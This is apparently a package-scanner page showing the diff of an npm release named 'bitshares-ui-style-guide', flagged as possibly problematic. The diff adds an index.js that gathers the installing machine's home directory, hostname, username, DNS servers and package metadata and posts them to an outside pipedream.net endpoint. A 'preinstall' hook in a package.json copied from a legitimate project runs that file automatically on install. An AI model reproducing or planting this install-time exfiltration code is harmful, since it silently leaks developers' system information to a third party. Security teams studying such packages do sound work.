bitshares-ui-style-guide 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of bitshares-ui-style-guide might be problematic. Click here for more details.
- package/index.js +46 -0
- package/package.json +105 -0
package/index.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "eokhkgpgymxrmoq.m.pipedream.net",
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,105 @@
|
|
1
|
+
{
|
2
|
+
"_args": [
|
3
|
+
[
|
4
|
+
"git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
5
|
+
"/home/vlad/Projects/africunia-ui"
|
6
|
+
]
|
7
|
+
],
|
8
|
+
"_from": "git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
9
|
+
"_id": "bitshares-ui-style-guide@git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
10
|
+
"_inBundle": false,
|
11
|
+
"_integrity": "",
|
12
|
+
"_location": "/bitshares-ui-style-guide",
|
13
|
+
"_phantomChildren": {
|
14
|
+
"@babel/runtime": "7.12.5",
|
15
|
+
"history": "4.10.1",
|
16
|
+
"loose-envify": "1.4.0",
|
17
|
+
"prop-types": "15.7.2",
|
18
|
+
"react-router": "5.2.0",
|
19
|
+
"tiny-invariant": "1.1.0",
|
20
|
+
"tiny-warning": "1.0.3"
|
21
|
+
},
|
22
|
+
"_requested": {
|
23
|
+
"type": "git",
|
24
|
+
"raw": "git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
25
|
+
"rawSpec": "git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
26
|
+
"saveSpec": "git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
27
|
+
"fetchSpec": "https://github.com/bitshares/bitshares-ui-style-guide.git",
|
28
|
+
"gitCommittish": "23ca108d47442dc70634797fb113d1e751e9b1cb"
|
29
|
+
},
|
30
|
+
"_requiredBy": [
|
31
|
+
"/"
|
32
|
+
],
|
33
|
+
"_resolved": "git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
34
|
+
"_spec": "git+https://github.com/bitshares/bitshares-ui-style-guide.git#23ca108d47442dc70634797fb113d1e751e9b1cb",
|
35
|
+
"_where": "/home/vlad/Projects/africunia-ui",
|
36
|
+
"author": {
|
37
|
+
"name": "Leroy Jethro Gibbs"
|
38
|
+
},
|
39
|
+
"bugs": {
|
40
|
+
"url": "https://github.com/bitshares/bitshares-ui-style-guide/issues"
|
41
|
+
},
|
42
|
+
"dependencies": {
|
43
|
+
"antd": "^3.15.2",
|
44
|
+
"normalize.css": "^8.0.1",
|
45
|
+
"prop-types": "^15.7.2",
|
46
|
+
"react": "^16.11.0",
|
47
|
+
"react-dom": "^16.11.0",
|
48
|
+
"react-router-dom": "^5.1.2"
|
49
|
+
},
|
50
|
+
"description": "Bitshares UI Style Guide ",
|
51
|
+
"devDependencies": {
|
52
|
+
"@babel/core": "^7.7.2",
|
53
|
+
"@babel/plugin-proposal-class-properties": "^7.7.0",
|
54
|
+
"@babel/preset-env": "^7.7.1",
|
55
|
+
"@babel/preset-react": "^7.7.0",
|
56
|
+
"@hot-loader/react-dom": "^16.11.0",
|
57
|
+
"babel-loader": "^8.0.6",
|
58
|
+
"concurrently": "^5.0.0",
|
59
|
+
"css-hot-loader": "^1.4.4",
|
60
|
+
"css-loader": "^3.2.0",
|
61
|
+
"cssnano": "^4.1.10",
|
62
|
+
"file-loader": "^4.2.0",
|
63
|
+
"html-webpack-plugin": "^3.2.0",
|
64
|
+
"less": "^3.10.3",
|
65
|
+
"less-loader": "^5.0.0",
|
66
|
+
"less-watch-cli": "^1.0.1",
|
67
|
+
"mini-css-extract-plugin": "^0.8.0",
|
68
|
+
"node-sass": "4.12",
|
69
|
+
"npm-watch": "^0.6.0",
|
70
|
+
"optimize-css-assets-webpack-plugin": "^5.0.3",
|
71
|
+
"react-hot-loader": "^4.12.18",
|
72
|
+
"sass-loader": "^8.0.0",
|
73
|
+
"style-loader": "^1.0.0",
|
74
|
+
"url-loader": "^2.2.0",
|
75
|
+
"webpack": "^4.41.2",
|
76
|
+
"webpack-cli": "^3.3.10",
|
77
|
+
"webpack-dev-server": "^3.9.0"
|
78
|
+
},
|
79
|
+
"homepage": "https://github.com/bitshares/bitshares-ui-style-guide#readme",
|
80
|
+
"license": "MIT",
|
81
|
+
"main": "dist/main.js",
|
82
|
+
"name": "bitshares-ui-style-guide",
|
83
|
+
"repository": {
|
84
|
+
"type": "git",
|
85
|
+
"url": "git+https://github.com/bitshares/bitshares-ui-style-guide.git"
|
86
|
+
},
|
87
|
+
"scripts": {
|
88
|
+
"preinstall": "node index.js",
|
89
|
+
"build:dist": "webpack --config webpack.prod.config.js",
|
90
|
+
"build:docs": "webpack --config webpack.docs.config.js",
|
91
|
+
"clean": "npm run clean:docs && npm run clean:dist",
|
92
|
+
"clean:dist": "rimraf dist",
|
93
|
+
"clean:docs": "rimraf docs",
|
94
|
+
"start": "concurrently --kill-others \"npm run theme-watch\" \"webpack-dev-server --config webpack.dev.config.js\"",
|
95
|
+
"theme-compile": "concurrently \"npm run theme-compile:dark\" \"npm run theme-compile:light\" \"npm run theme-compile:midnight\"",
|
96
|
+
"theme-compile:dark": "lessc -js app/bitshares-ui-style-guide/styles/dark/dark-theme.less > app/bitshares-ui-style-guide/styles/dark/dark-theme.css",
|
97
|
+
"theme-compile:light": "lessc -js app/bitshares-ui-style-guide/styles/light/light-theme.less > app/bitshares-ui-style-guide/styles/light/light-theme.css",
|
98
|
+
"theme-compile:midnight": "lessc -js app/bitshares-ui-style-guide/styles/midnight/midnight-theme.less > app/bitshares-ui-style-guide/styles/midnight/midnight-theme.css",
|
99
|
+
"theme-watch": "concurrently --kill-others \"npm run theme-watch:dark\" \"npm run theme-watch:light\" \"npm run theme-watch:midnight\"",
|
100
|
+
"theme-watch:dark": "./node_modules/less-watch-cli/index.js app/bitshares-ui-style-guide/styles/dark/dark-theme.less app/bitshares-ui-style-guide/styles/dark/dark-theme.css",
|
101
|
+
"theme-watch:light": "./node_modules/less-watch-cli/index.js app/bitshares-ui-style-guide/styles/light/light-theme.less app/bitshares-ui-style-guide/styles/light/light-theme.css",
|
102
|
+
"theme-watch:midnight": "./node_modules/less-watch-cli/index.js app/bitshares-ui-style-guide/styles/midnight/midnight-theme.less app/bitshares-ui-style-guide/styles/midnight/midnight-theme.css"
|
103
|
+
},
|
104
|
+
"version": "1.0.0"
|
105
|
+
}
|